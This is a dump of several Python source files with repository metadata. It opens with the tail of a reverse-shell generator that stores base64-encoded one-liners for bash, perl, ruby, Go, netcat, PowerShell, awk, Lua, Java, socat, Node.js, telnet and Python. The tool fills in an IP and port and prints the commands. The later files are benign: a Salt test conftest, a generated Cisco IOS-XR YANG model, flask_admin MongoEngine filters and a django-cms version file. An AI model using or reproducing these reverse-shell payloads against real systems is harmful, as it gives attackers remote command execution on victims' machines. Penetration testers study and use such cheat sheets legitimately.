shell to generate", dest='type') parser.add_argument("-l", "--list", action="store_true", help="List all available shell types", dest='list') parser.add_argument("-a", "--all", action="store_true", help="Generate all the shells", dest='all') # got this from here https://stackoverflow.com/a/47440202 args = parser.parse_args(args=None if sys.argv[1:] else ['--help']) shell_dict = { "bash" : ['YmFzaCAtaSA+JiAvZGV2L3RjcC97MH0vezF9IDA+JjE=', 'MDwmMTk2O2V4ZWMgMTk2PD4vZGV2L3RjcC97MH0vezF9OyBzaCA8JjE5NiA+JjE5NiAyPiYxOTY='], "perl" : ['cGVybCAtZSAndXNlIFNvY2tldDskaT0iezB9IjskcD17MX07c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe3tvcGVuKFNURElOLCI+JlMiKTtvcGVuKFNURE9VVCwiPiZTIik7b3BlbihTVERFUlIsIj4mUyIpO2V4ZWMoIi9iaW4vc2ggLWkiKTt9fTsn', 'cGVybCAtTUlPIC1lICckcD1mb3JrO2V4aXQsaWYoJHApOyRjPW5ldyBJTzo6U29ja2V0OjpJTkVUKFBlZXJBZGRyLCJ7MH06ezF9Iik7U1RESU4tPmZkb3BlbigkYyxyKTskfi0+ZmRvcGVuKCRjLHcpO3N5c3RlbSRfIHdoaWxlPD47Jw==', 'Tk9URTogV2luZG93cyBvbmx5CnBlcmwgLU1JTyAtZSAnJGM9bmV3IElPOjpTb2NrZXQ6OklORVQoUGVlckFkZHIsInswfTp7MX0iKTtTVERJTi0+ZmRvcGVuKCRjLHIpOyR+LT5mZG9wZW4oJGMsdyk7c3lzdGVtJF8gd2hpbGU8Pjsn'], "ruby" : ['cnVieSAtcnNvY2tldCAtZSdmPVRDUFNvY2tldC5vcGVuKCJ7MH0iLHsxfSkudG9faTtleGVjIHNwcmludGYoIi9iaW4vc2ggLWkgPCYlZCA+JiVkIDI+JiVkIixmLGYsZikn', 'cnVieSAtcnNvY2tldCAtZSAnZXhpdCBpZiBmb3JrO2M9VENQU29ja2V0Lm5ldygiezB9IiwiezF9Iik7d2hpbGUoY21kPWMuZ2V0cyk7SU8ucG9wZW4oY21kLCJyIil7e3xpb3xjLnByaW50IGlvLnJlYWR9fWVuZCc=', 'Tk9URTogV2luZG93cyBvbmx5CnJ1YnkgLXJzb2NrZXQgLWUgJ2M9VENQU29ja2V0Lm5ldygiezB9IiwiezF9Iik7d2hpbGUoY21kPWMuZ2V0cyk7SU8ucG9wZW4oY21kLCJyIil7e3xpb3xjLnByaW50IGlvLnJlYWR9fWVuZCc='], "golang" : ['ZWNobyAncGFja2FnZSBtYWluO2ltcG9ydCJvcy9leGVjIjtpbXBvcnQibmV0IjtmdW5jIG1haW4oKXt7YyxfOj1uZXQuRGlhbCgidGNwIiwiezB9OnsxfSIpO2NtZDo9ZXhlYy5Db21tYW5kKCIvYmluL3NoIik7Y21kLlN0ZGluPWM7Y21kLlN0ZG91dD1jO2NtZC5TdGRlcnI9YztjbWQuUnVuKCl9fScgPiAvdG1wL3QuZ28gJiYgZ28gcnVuIC90bXAvdC5nbyAmJiBybSAvdG1wL3QuZ28='], "netcat" : ['bmMgLWUgL2Jpbi9zaCB7MH0gezF9', 'bmMgLWUgL2Jpbi9iYXNoIHswfSB7MX0=', 'bmMgLWMgYmFzaCB7MH0gezF9', 'Tk9URTogT3BlbkJTRApybSAvdG1wL2Y7bWtmaWZvIC90bXAvZjtjYXQgL3RtcC9mfC9iaW4vc2ggLWkgMj4mMXxuYyB7MH0gezF9ID4vdG1wL2Y='], "ncat" : ['bmNhdCB7MH0gezF9IC1lIC9iaW4vYmFzaA==', 'bmNhdCAtLXVkcCB7MH0gezF9IC1lIC9iaW4vYmFzaA=='], "powershell" : ['cG93ZXJzaGVsbCAtTm9QIC1Ob25JIC1XIEhpZGRlbiAtRXhlYyBCeXBhc3MgLUNvbW1hbmQgTmV3LU9iamVjdCBTeXN0ZW0uTmV0LlNvY2tldHMuVENQQ2xpZW50KCJ7MH0iLHsxfSk7JHN0cmVhbSA9ICRjbGllbnQuR2V0U3RyZWFtKCk7W2J5dGVbXV0kYnl0ZXMgPSAwLi42NTUzNXwlezB9O3doaWxlKCgkaSA9ICRzdHJlYW0uUmVhZCgkYnl0ZXMsIDAsICRieXRlcy5MZW5ndGgpKSAtbmUgMCl7ezskZGF0YSA9IChOZXctT2JqZWN0IC1UeXBlTmFtZSBTeXN0ZW0uVGV4dC5BU0NJSUVuY29kaW5nKS5HZXRTdHJpbmcoJGJ5dGVzLDAsICRpKTskc2VuZGJhY2sgPSAoaWV4ICRkYXRhIDI+JjEgfCBPdXQtU3RyaW5nICk7JHNlbmRiYWNrMiAgPSAkc2VuZGJhY2sgKyAiUFMgIiArIChwd2QpLlBhdGggKyAiPiAiOyRzZW5kYnl0ZSA9IChbdGV4dC5lbmNvZGluZ106OkFTQ0lJKS5HZXRCeXRlcygkc2VuZGJhY2syKTskc3RyZWFtLldyaXRlKCRzZW5kYnl0ZSwwLCRzZW5kYnl0ZS5MZW5ndGgpOyRzdHJlYW0uRmx1c2goKX19OyRjbGllbnQuQ2xvc2UoKQ==', 'cG93ZXJzaGVsbCAtbm9wIC1jICIkY2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LlNvY2tldHMuVENQQ2xpZW50KCd7MH0nLHsxfSk7JHN0cmVhbSA9ICRjbGllbnQuR2V0U3RyZWFtKCk7W2J5dGVbXV0kYnl0ZXMgPSAwLi42NTUzNXwlezB9O3doaWxlKCgkaSA9ICRzdHJlYW0uUmVhZCgkYnl0ZXMsIDAsICRieXRlcy5MZW5ndGgpKSAtbmUgMCl7ezskZGF0YSA9IChOZXctT2JqZWN0IC1UeXBlTmFtZSBTeXN0ZW0uVGV4dC5BU0NJSUVuY29kaW5nKS5HZXRTdHJpbmcoJGJ5dGVzLDAsICRpKTskc2VuZGJhY2sgPSAoaWV4ICRkYXRhIDI+JjEgfCBPdXQtU3RyaW5nICk7JHNlbmRiYWNrMiA9ICRzZW5kYmFjayArICdQUyAnICsgKHB3ZCkuUGF0aCArICc+ICc7JHNlbmRieXRlID0gKFt0ZXh0LmVuY29kaW5nXTo6QVNDSUkpLkdldEJ5dGVzKCRzZW5kYmFjazIpOyRzdHJlYW0uV3JpdGUoJHNlbmRieXRlLDAsJHNlbmRieXRlLkxlbmd0aCk7JHN0cmVhbS5GbHVzaCgpfX07JGNsaWVudC5DbG9zZSgpIg=='], "awk" : ['YXdrICdCRUdJTiB7e3MgPSAiL2luZXQvdGNwLzAvezB9L3sxfSI7IHdoaWxlKDQyKSB7eyBkb3t7IHByaW50ZiAic2hlbGw+IiB8JiBzOyBzIHwmIGdldGxpbmUgYzsgaWYoYyl7eyB3aGlsZSAoKGMgfCYgZ2V0bGluZSkgPiAwKSBwcmludCAkMCB8JiBzOyBjbG9zZShjKTsgfX0gfX0gd2hpbGUoYyAhPSAiZXhpdCIpIGNsb3NlKHMpOyB9fX19JyAvZGV2L251bGw='], "lua" : ['Tk9URTogTGludXggb25seQpsdWEgLWUgInJlcXVpcmUoJ3NvY2tldCcpO3JlcXVpcmUoJ29zJyk7dD1zb2NrZXQudGNwKCk7dDpjb25uZWN0KCd7MH0nLCd7MX0nKTtvcy5leGVjdXRlKCcvYmluL3NoIC1pIDwmMyA+JjMgMj4mMycpOyI=', 'bHVhNS4xIC1lICdsb2NhbCBob3N0LCBwb3J0ID0gInswfSIsIHsxfSBsb2NhbCBzb2NrZXQgPSByZXF1aXJlKCJzb2NrZXQiKSBsb2NhbCB0Y3AgPSBzb2NrZXQudGNwKCkgbG9jYWwgaW8gPSByZXF1aXJlKCJpbyIpIHRjcDpjb25uZWN0KGhvc3QsIHBvcnQpOyB3aGlsZSB0cnVlIGRvIGxvY2FsIGNtZCwgc3RhdHVzLCBwYXJ0aWFsID0gdGNwOnJlY2VpdmUoKSBsb2NhbCBmID0gaW8ucG9wZW4oY21kLCAiciIpIGxvY2FsIHMgPSBmOnJlYWQoIiphIikgZjpjbG9zZSgpIHRjcDpzZW5kKHMpIGlmIHN0YXR1cyA9PSAiY2xvc2VkIiB0aGVuIGJyZWFrIGVuZCBlbmQgdGNwOmNsb3NlKCkn'], "java" : ['ciA9IFJ1bnRpbWUuZ2V0UnVudGltZSgpO3AgPSByLmV4ZWMoWyIvYmluL3NoIiwiLWMiLCJleGVjIDU8Pi9kZXYvdGNwL3swfS97MX07Y2F0IDwmNSB8IHdoaWxlIHJlYWQgbGluZTsgZG8gXCRsaW5lIDI+JjUgPiY1OyBkb25lIl0gYXMgU3RyaW5nW10pO3Aud2FpdEZvcigpOw=='], "socat" : ['c29jYXQgZXhlYzonYmFzaCAtbGknLHB0eSxzdGRlcnIsc2V0c2lkLHNpZ2ludCxzYW5lIHRjcDp7MH06ezF9', 'c29jYXQgdGNwLWNvbm5lY3Q6e306e30gc3lzdGVtOi9iaW4vc2g='], "nodejs" : ['KGZ1bmN0aW9uKCl7e3ZhciBuZXQ9cmVxdWlyZSgibmV0IiksY3A9cmVxdWlyZSgiY2hpbGRfcHJvY2VzcyIpLHNoPWNwLnNwYXduKCIvYmluL3NoIixbXSk7dmFyIGNsaWVudD1uZXcgbmV0LlNvY2tldCgpO2NsaWVudC5jb25uZWN0KHsxfSwiezB9IixmdW5jdGlvbigpe3tjbGllbnQucGlwZShzaC5zdGRpbik7c2guc3Rkb3V0LnBpcGUoY2xpZW50KTtzaC5zdGRlcnIucGlwZShjbGllbnQpO319KTtyZXR1cm4gL2EvO319KSgpOw=='], "telnet" : ['cm0gLWYgL3RtcC9wOyBta25vZCAvdG1wL3AgcCAmJiB0ZWxuZXQgezB9IHsxfSAwL3RtcC9w'], "python" : ['cHl0aG9uIC1jICdpbXBvcnQgc29ja2V0LHN1YnByb2Nlc3Msb3M7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgiezB9Iix7MX0pKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTsgb3MuZHVwMihzLmZpbGVubygpLDIpO3A9c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pOyc=', 'Tk9URTogUHl0aG9uMwpweXRob24zIC1jICdpbXBvcnQgc29ja2V0LHN1YnByb2Nlc3Msb3M7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgiezB9Iix7MX0pKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTsgb3MuZHVwMihzLmZpbGVubygpLDIpO3A9c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pOyc='] } if args.ipaddr or args.portnum != None: ip = args.ipaddr port = args.portnum else: ip = '10.0.0.1' port = 1234 if args.type: prYellow('\n' + "[>]" " " + args.type + " " + "reverse shell" + " " + "[<]") for k,v in shell_dict.items(): for i in v: if k == args.type: x = base64.b64decode(i).decode('utf-8') prPurple('\n' + x.format(ip, port)) if args.list: prRed('\n' + "[>] Available Shells [<]\n") for k,v in shell_dict.items(): prYellow(k.capitalize()) if args.all: from sty import fg, bg, ef, rs prGreen('\n' + "[>] Generated All Shells [<]") for k,v in shell_dict.items(): for i in v: x = base64.b64decode(i).decode('utf-8') print(bg.black + fg(201)+'\n'+ x.format(ip, port) + bg.rs +fg.rs) #color #highlight from sty import fg, bg, ef, rs bar = bg.blue + 'Thank you!' + bg.rs print(bar) #- Reverse Shells From - #https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md #http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

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null

0

1

null

0

3

8c62aa566fbde5492bba59a6c11c2b33b87a6089

1,002

py

Python

tests/integration/factories/cli/conftest.py

danielrobbins/pytest-salt-factories

9c9dc882628f6ddb93dab88bf548755d2196cec9

[ "Apache-2.0" ]

null

tests/integration/factories/cli/conftest.py

danielrobbins/pytest-salt-factories

9c9dc882628f6ddb93dab88bf548755d2196cec9

[ "Apache-2.0" ]

null

tests/integration/factories/cli/conftest.py

danielrobbins/pytest-salt-factories

9c9dc882628f6ddb93dab88bf548755d2196cec9

[ "Apache-2.0" ]

null

""" tests.integration.factories.cli.conftest ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ """ import pytest @pytest.fixture(scope="package") def master_id(): return "integration-cli-master" @pytest.fixture(scope="package") def minion_id(): return "integration-cli-minion" @pytest.fixture(scope="package") def salt_master(salt_factories, master_id): """ This fixture just configures and starts a salt-master. """ config_overrides = {"open_mode": True} factory = salt_factories.get_salt_master_daemon(master_id, config_overrides=config_overrides) with factory.started(): yield factory @pytest.fixture(scope="package") def salt_minion(salt_factories, minion_id, salt_master): """ This fixture just configures and starts a salt-minion. """ factory = salt_master.get_salt_minion_daemon(minion_id) with factory.started(): yield factory @pytest.fixture(scope="package") def salt_cli(salt_master): return salt_master.get_salt_cli()

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1,002

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0.238095

false

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null

0

1

0

null

0

1

0

1

0

3

8c651d22173586246287ff7a070395391804c0f6

14,899

py

Python

cisco-ios-xr/ydk/models/cisco_ios_xr/Cisco_IOS_XR_fretta_grid_svr_oper.py

Maikor/ydk-py

b86c4a7c570ae3b2c5557d098420446df5de4929

[ "ECL-2.0", "Apache-2.0" ]

null

cisco-ios-xr/ydk/models/cisco_ios_xr/Cisco_IOS_XR_fretta_grid_svr_oper.py

Maikor/ydk-py

b86c4a7c570ae3b2c5557d098420446df5de4929

[ "ECL-2.0", "Apache-2.0" ]

null

cisco-ios-xr/ydk/models/cisco_ios_xr/Cisco_IOS_XR_fretta_grid_svr_oper.py

Maikor/ydk-py

b86c4a7c570ae3b2c5557d098420446df5de4929

[ "ECL-2.0", "Apache-2.0" ]

null

""" Cisco_IOS_XR_fretta_grid_svr_oper This module contains a collection of YANG definitions for Cisco IOS\-XR fretta\-grid\-svr package operational data. This module contains definitions for the following management objects\: grid\: GRID operational data Copyright (c) 2013\-2018 by Cisco Systems, Inc. All rights reserved. """ from collections import OrderedDict from ydk.types import Entity, EntityPath, Identity, Enum, YType, YLeaf, YLeafList, YList, LeafDataList, Bits, Empty, Decimal64 from ydk.filters import YFilter from ydk.errors import YError, YModelError from ydk.errors.error_handler import handle_type_error as _handle_type_error class Grid(Entity): """ GRID operational data .. attribute:: nodes Table of nodes **type**\: :py:class:`Nodes <ydk.models.cisco_ios_xr.Cisco_IOS_XR_fretta_grid_svr_oper.Grid.Nodes>` """ _prefix = 'fretta-grid-svr-oper' _revision = '2015-11-09' def __init__(self): super(Grid, self).__init__() self._top_entity = None self.yang_name = "grid" self.yang_parent_name = "Cisco-IOS-XR-fretta-grid-svr-oper" self.is_top_level_class = True self.has_list_ancestor = False self.ylist_key_names = [] self._child_classes = OrderedDict([("nodes", ("nodes", Grid.Nodes))]) self._leafs = OrderedDict() self.nodes = Grid.Nodes() self.nodes.parent = self self._children_name_map["nodes"] = "nodes" self._segment_path = lambda: "Cisco-IOS-XR-fretta-grid-svr-oper:grid" self._is_frozen = True def __setattr__(self, name, value): self._perform_setattr(Grid, [], name, value) class Nodes(Entity): """ Table of nodes .. attribute:: node Operational data for a particular node **type**\: list of :py:class:`Node <ydk.models.cisco_ios_xr.Cisco_IOS_XR_fretta_grid_svr_oper.Grid.Nodes.Node>` """ _prefix = 'fretta-grid-svr-oper' _revision = '2015-11-09' def __init__(self): super(Grid.Nodes, self).__init__() self.yang_name = "nodes" self.yang_parent_name = "grid" self.is_top_level_class = False self.has_list_ancestor = False self.ylist_key_names = [] self._child_classes = OrderedDict([("node", ("node", Grid.Nodes.Node))]) self._leafs = OrderedDict() self.node = YList(self) self._segment_path = lambda: "nodes" self._absolute_path = lambda: "Cisco-IOS-XR-fretta-grid-svr-oper:grid/%s" % self._segment_path() self._is_frozen = True def __setattr__(self, name, value): self._perform_setattr(Grid.Nodes, [], name, value) class Node(Entity): """ Operational data for a particular node .. attribute:: node_name (key) Node ID **type**\: str **pattern:** ([a\-zA\-Z0\-9\_]\*\\d+/){1,2}([a\-zA\-Z0\-9\_]\*\\d+) .. attribute:: client_xr GRID Client Table **type**\: :py:class:`ClientXr <ydk.models.cisco_ios_xr.Cisco_IOS_XR_fretta_grid_svr_oper.Grid.Nodes.Node.ClientXr>` .. attribute:: clients GRID Client Consistency Check **type**\: :py:class:`Clients <ydk.models.cisco_ios_xr.Cisco_IOS_XR_fretta_grid_svr_oper.Grid.Nodes.Node.Clients>` """ _prefix = 'fretta-grid-svr-oper' _revision = '2015-11-09' def __init__(self): super(Grid.Nodes.Node, self).__init__() self.yang_name = "node" self.yang_parent_name = "nodes" self.is_top_level_class = False self.has_list_ancestor = False self.ylist_key_names = ['node_name'] self._child_classes = OrderedDict([("client-xr", ("client_xr", Grid.Nodes.Node.ClientXr)), ("clients", ("clients", Grid.Nodes.Node.Clients))]) self._leafs = OrderedDict([ ('node_name', (YLeaf(YType.str, 'node-name'), ['str'])), ]) self.node_name = None self.client_xr = Grid.Nodes.Node.ClientXr() self.client_xr.parent = self self._children_name_map["client_xr"] = "client-xr" self.clients = Grid.Nodes.Node.Clients() self.clients.parent = self self._children_name_map["clients"] = "clients" self._segment_path = lambda: "node" + "[node-name='" + str(self.node_name) + "']" self._absolute_path = lambda: "Cisco-IOS-XR-fretta-grid-svr-oper:grid/nodes/%s" % self._segment_path() self._is_frozen = True def __setattr__(self, name, value): self._perform_setattr(Grid.Nodes.Node, ['node_name'], name, value) class ClientXr(Entity): """ GRID Client Table .. attribute:: client GRID Client Database **type**\: list of :py:class:`Client <ydk.models.cisco_ios_xr.Cisco_IOS_XR_fretta_grid_svr_oper.Grid.Nodes.Node.ClientXr.Client>` """ _prefix = 'fretta-grid-svr-oper' _revision = '2015-11-09' def __init__(self): super(Grid.Nodes.Node.ClientXr, self).__init__() self.yang_name = "client-xr" self.yang_parent_name = "node" self.is_top_level_class = False self.has_list_ancestor = True self.ylist_key_names = [] self._child_classes = OrderedDict([("client", ("client", Grid.Nodes.Node.ClientXr.Client))]) self._leafs = OrderedDict() self.client = YList(self) self._segment_path = lambda: "client-xr" self._is_frozen = True def __setattr__(self, name, value): self._perform_setattr(Grid.Nodes.Node.ClientXr, [], name, value) class Client(Entity): """ GRID Client Database .. attribute:: client_name (key) Client name **type**\: str **pattern:** [\\w\\\-\\.\:,\_@#%$\\+=\\\|;]+ .. attribute:: client_data Client information **type**\: list of :py:class:`ClientData <ydk.models.cisco_ios_xr.Cisco_IOS_XR_fretta_grid_svr_oper.Grid.Nodes.Node.ClientXr.Client.ClientData>` """ _prefix = 'fretta-grid-svr-oper' _revision = '2015-11-09' def __init__(self): super(Grid.Nodes.Node.ClientXr.Client, self).__init__() self.yang_name = "client" self.yang_parent_name = "client-xr" self.is_top_level_class = False self.has_list_ancestor = True self.ylist_key_names = ['client_name'] self._child_classes = OrderedDict([("client-data", ("client_data", Grid.Nodes.Node.ClientXr.Client.ClientData))]) self._leafs = OrderedDict([ ('client_name', (YLeaf(YType.str, 'client-name'), ['str'])), ]) self.client_name = None self.client_data = YList(self) self._segment_path = lambda: "client" + "[client-name='" + str(self.client_name) + "']" self._is_frozen = True def __setattr__(self, name, value): self._perform_setattr(Grid.Nodes.Node.ClientXr.Client, ['client_name'], name, value) class ClientData(Entity): """ Client information .. attribute:: res_id Resource ID **type**\: int **range:** 0..4294967295 """ _prefix = 'fretta-grid-svr-oper' _revision = '2015-11-09' def __init__(self): super(Grid.Nodes.Node.ClientXr.Client.ClientData, self).__init__() self.yang_name = "client-data" self.yang_parent_name = "client" self.is_top_level_class = False self.has_list_ancestor = True self.ylist_key_names = [] self._child_classes = OrderedDict([]) self._leafs = OrderedDict([ ('res_id', (YLeaf(YType.uint32, 'res-id'), ['int'])), ]) self.res_id = None self._segment_path = lambda: "client-data" self._is_frozen = True def __setattr__(self, name, value): self._perform_setattr(Grid.Nodes.Node.ClientXr.Client.ClientData, ['res_id'], name, value) class Clients(Entity): """ GRID Client Consistency Check .. attribute:: client GRID Client Consistency Check **type**\: list of :py:class:`Client <ydk.models.cisco_ios_xr.Cisco_IOS_XR_fretta_grid_svr_oper.Grid.Nodes.Node.Clients.Client>` """ _prefix = 'fretta-grid-svr-oper' _revision = '2015-11-09' def __init__(self): super(Grid.Nodes.Node.Clients, self).__init__() self.yang_name = "clients" self.yang_parent_name = "node" self.is_top_level_class = False self.has_list_ancestor = True self.ylist_key_names = [] self._child_classes = OrderedDict([("client", ("client", Grid.Nodes.Node.Clients.Client))]) self._leafs = OrderedDict() self.client = YList(self) self._segment_path = lambda: "clients" self._is_frozen = True def __setattr__(self, name, value): self._perform_setattr(Grid.Nodes.Node.Clients, [], name, value) class Client(Entity): """ GRID Client Consistency Check .. attribute:: client_name (key) Client name **type**\: str **pattern:** [\\w\\\-\\.\:,\_@#%$\\+=\\\|;]+ .. attribute:: client_data Client information **type**\: list of :py:class:`ClientData <ydk.models.cisco_ios_xr.Cisco_IOS_XR_fretta_grid_svr_oper.Grid.Nodes.Node.Clients.Client.ClientData>` """ _prefix = 'fretta-grid-svr-oper' _revision = '2015-11-09' def __init__(self): super(Grid.Nodes.Node.Clients.Client, self).__init__() self.yang_name = "client" self.yang_parent_name = "clients" self.is_top_level_class = False self.has_list_ancestor = True self.ylist_key_names = ['client_name'] self._child_classes = OrderedDict([("client-data", ("client_data", Grid.Nodes.Node.Clients.Client.ClientData))]) self._leafs = OrderedDict([ ('client_name', (YLeaf(YType.str, 'client-name'), ['str'])), ]) self.client_name = None self.client_data = YList(self) self._segment_path = lambda: "client" + "[client-name='" + str(self.client_name) + "']" self._is_frozen = True def __setattr__(self, name, value): self._perform_setattr(Grid.Nodes.Node.Clients.Client, ['client_name'], name, value) class ClientData(Entity): """ Client information .. attribute:: res_id Resource ID **type**\: int **range:** 0..4294967295 """ _prefix = 'fretta-grid-svr-oper' _revision = '2015-11-09' def __init__(self): super(Grid.Nodes.Node.Clients.Client.ClientData, self).__init__() self.yang_name = "client-data" self.yang_parent_name = "client" self.is_top_level_class = False self.has_list_ancestor = True self.ylist_key_names = [] self._child_classes = OrderedDict([]) self._leafs = OrderedDict([ ('res_id', (YLeaf(YType.uint32, 'res-id'), ['int'])), ]) self.res_id = None self._segment_path = lambda: "client-data" self._is_frozen = True def __setattr__(self, name, value): self._perform_setattr(Grid.Nodes.Node.Clients.Client.ClientData, ['res_id'], name, value) def clone_ptr(self): self._top_entity = Grid() return self._top_entity

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169

0.471441

1,379

14,899

4.775925

0.096447

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0.059217

0.056787

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0.773763

0.698148

0.666262

0.665503

0

0.013251

0.422579

14,899

393

170

37.910941

0.752296

0.1782

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false

0

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0

null

0

1

0

1

0

null

0

3

4fbb0a2e350edc2f3b9bebc0899305ef16c85f16

7,873

py

Python

venv/lib/python2.7/site-packages/flask_admin/contrib/mongoengine/filters.py

MarioAer/BubblesData

849cc6428b5e8d64f5517f94a714e3f737bfc75d

[ "MIT" ]

null

venv/lib/python2.7/site-packages/flask_admin/contrib/mongoengine/filters.py

MarioAer/BubblesData

849cc6428b5e8d64f5517f94a714e3f737bfc75d

[ "MIT" ]

null

venv/lib/python2.7/site-packages/flask_admin/contrib/mongoengine/filters.py

MarioAer/BubblesData

849cc6428b5e8d64f5517f94a714e3f737bfc75d

[ "MIT" ]

null

import datetime from flask_admin.babel import lazy_gettext from flask_admin.model import filters from .tools import parse_like_term from mongoengine.queryset import Q class BaseMongoEngineFilter(filters.BaseFilter): """ Base MongoEngine filter. """ def __init__(self, column, name, options=None, data_type=None): """ Constructor. :param column: Model field :param name: Display name :param options: Fixed set of options. If provided, will use drop down instead of textbox. :param data_type: Client data type """ super(BaseMongoEngineFilter, self).__init__(name, options, data_type) self.column = column # Common filters class FilterEqual(BaseMongoEngineFilter): def apply(self, query, value): flt = {'%s' % self.column.name: value} return query.filter(**flt) def operation(self): return lazy_gettext('equals') class FilterNotEqual(BaseMongoEngineFilter): def apply(self, query, value): flt = {'%s__ne' % self.column.name: value} return query.filter(**flt) def operation(self): return lazy_gettext('not equal') class FilterLike(BaseMongoEngineFilter): def apply(self, query, value): term, data = parse_like_term(value) flt = {'%s__%s' % (self.column.name, term): data} return query.filter(**flt) def operation(self): return lazy_gettext('contains') class FilterNotLike(BaseMongoEngineFilter): def apply(self, query, value): term, data = parse_like_term(value) flt = {'%s__not__%s' % (self.column.name, term): data} return query.filter(**flt) def operation(self): return lazy_gettext('not contains') class FilterGreater(BaseMongoEngineFilter): def apply(self, query, value): flt = {'%s__gt' % self.column.name: value} return query.filter(**flt) def operation(self): return lazy_gettext('greater than') class FilterSmaller(BaseMongoEngineFilter): def apply(self, query, value): flt = {'%s__lt' % self.column.name: value} return query.filter(**flt) def operation(self): return lazy_gettext('smaller than') class FilterEmpty(BaseMongoEngineFilter, filters.BaseBooleanFilter): def apply(self, query, value): if value == '1': flt = {'%s' % self.column.name: None} else: flt = {'%s__ne' % self.column.name: None} return query.filter(**flt) def operation(self): return lazy_gettext('empty') class FilterInList(BaseMongoEngineFilter): def __init__(self, column, name, options=None, data_type=None): super(FilterInList, self).__init__(column, name, options, data_type='select2-tags') def clean(self, value): return [v.strip() for v in value.split(',') if v.strip()] def apply(self, query, value): flt = {'%s__in' % self.column.name: value} return query.filter(**flt) def operation(self): return lazy_gettext('in list') class FilterNotInList(FilterInList): def apply(self, query, value): flt = {'%s__nin' % self.column.name: value} return query.filter(**flt) def operation(self): return lazy_gettext('not in list') # Customized type filters class BooleanEqualFilter(FilterEqual, filters.BaseBooleanFilter): def apply(self, query, value): flt = {'%s' % self.column.name: value == '1'} return query.filter(**flt) class BooleanNotEqualFilter(FilterNotEqual, filters.BaseBooleanFilter): def apply(self, query, value): flt = {'%s' % self.column.name: value != '1'} return query.filter(**flt) class IntEqualFilter(FilterEqual, filters.BaseIntFilter): pass class IntNotEqualFilter(FilterNotEqual, filters.BaseIntFilter): pass class IntGreaterFilter(FilterGreater, filters.BaseIntFilter): pass class IntSmallerFilter(FilterSmaller, filters.BaseIntFilter): pass class IntInListFilter(filters.BaseIntListFilter, FilterInList): pass class IntNotInListFilter(filters.BaseIntListFilter, FilterNotInList): pass class FloatEqualFilter(FilterEqual, filters.BaseFloatFilter): pass class FloatNotEqualFilter(FilterNotEqual, filters.BaseFloatFilter): pass class FloatGreaterFilter(FilterGreater, filters.BaseFloatFilter): pass class FloatSmallerFilter(FilterSmaller, filters.BaseFloatFilter): pass class FloatInListFilter(filters.BaseFloatListFilter, FilterInList): pass class FloatNotInListFilter(filters.BaseFloatListFilter, FilterNotInList): pass class DateTimeEqualFilter(FilterEqual, filters.BaseDateTimeFilter): pass class DateTimeNotEqualFilter(FilterNotEqual, filters.BaseDateTimeFilter): pass class DateTimeGreaterFilter(FilterGreater, filters.BaseDateTimeFilter): pass class DateTimeSmallerFilter(FilterSmaller, filters.BaseDateTimeFilter): pass class DateTimeBetweenFilter(BaseMongoEngineFilter, filters.BaseDateTimeBetweenFilter): def __init__(self, column, name, options=None, data_type=None): super(DateTimeBetweenFilter, self).__init__(column, name, options, data_type='datetimerangepicker') def apply(self, query, value): start, end = value flt = {'%s__gte' % self.column.name: start, '%s__lte' % self.column.name: end} return query.filter(**flt) class DateTimeNotBetweenFilter(DateTimeBetweenFilter): def apply(self, query, value): start, end = value return query.filter(Q(**{'%s__not__gte' % self.column.name: start}) | Q(**{'%s__not__lte' % self.column.name: end})) def operation(self): return lazy_gettext('not between') # Base MongoEngine filter field converter class FilterConverter(filters.BaseFilterConverter): strings = (FilterLike, FilterNotLike, FilterEqual, FilterNotEqual, FilterEmpty, FilterInList, FilterNotInList) int_filters = (IntEqualFilter, IntNotEqualFilter, IntGreaterFilter, IntSmallerFilter, FilterEmpty, IntInListFilter, IntNotInListFilter) float_filters = (FloatEqualFilter, FloatNotEqualFilter, FloatGreaterFilter, FloatSmallerFilter, FilterEmpty, FloatInListFilter, FloatNotInListFilter) bool_filters = (BooleanEqualFilter, BooleanNotEqualFilter) datetime_filters = (DateTimeEqualFilter, DateTimeNotEqualFilter, DateTimeGreaterFilter, DateTimeSmallerFilter, DateTimeBetweenFilter, DateTimeNotBetweenFilter, FilterEmpty) def convert(self, type_name, column, name): filter_name = type_name.lower() if filter_name in self.converters: return self.converters[filter_name](column, name) return None @filters.convert('StringField', 'EmailField', 'URLField') def conv_string(self, column, name): return [f(column, name) for f in self.strings] @filters.convert('BooleanField') def conv_bool(self, column, name): return [f(column, name) for f in self.bool_filters] @filters.convert('IntField', 'LongField') def conv_int(self, column, name): return [f(column, name) for f in self.int_filters] @filters.convert('DecimalField', 'FloatField') def conv_float(self, column, name): return [f(column, name) for f in self.float_filters] @filters.convert('DateTimeField', 'ComplexDateTimeField') def conv_datetime(self, column, name): return [f(column, name) for f in self.datetime_filters]

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7,873

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0

1

0

1

0

3

4fbd1dca6b146e31dce08db94b6db986ccbaf877

52

py

Python

cms/__init__.py

adaptivelogic/django-cms

b7a58b9700755c35b40c145ea81c5bad81271c61

[ "BSD-3-Clause" ]

1

2015-09-28T10:07:38.000Z

cms/__init__.py

adaptivelogic/django-cms

b7a58b9700755c35b40c145ea81c5bad81271c61

[ "BSD-3-Clause" ]

null

cms/__init__.py

adaptivelogic/django-cms

b7a58b9700755c35b40c145ea81c5bad81271c61

[ "BSD-3-Clause" ]

null

# -*- coding: utf-8 -*- __version__ = '2.4.0.beta'

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52

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52

3

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null

0

1

0

1

0

null

0

3

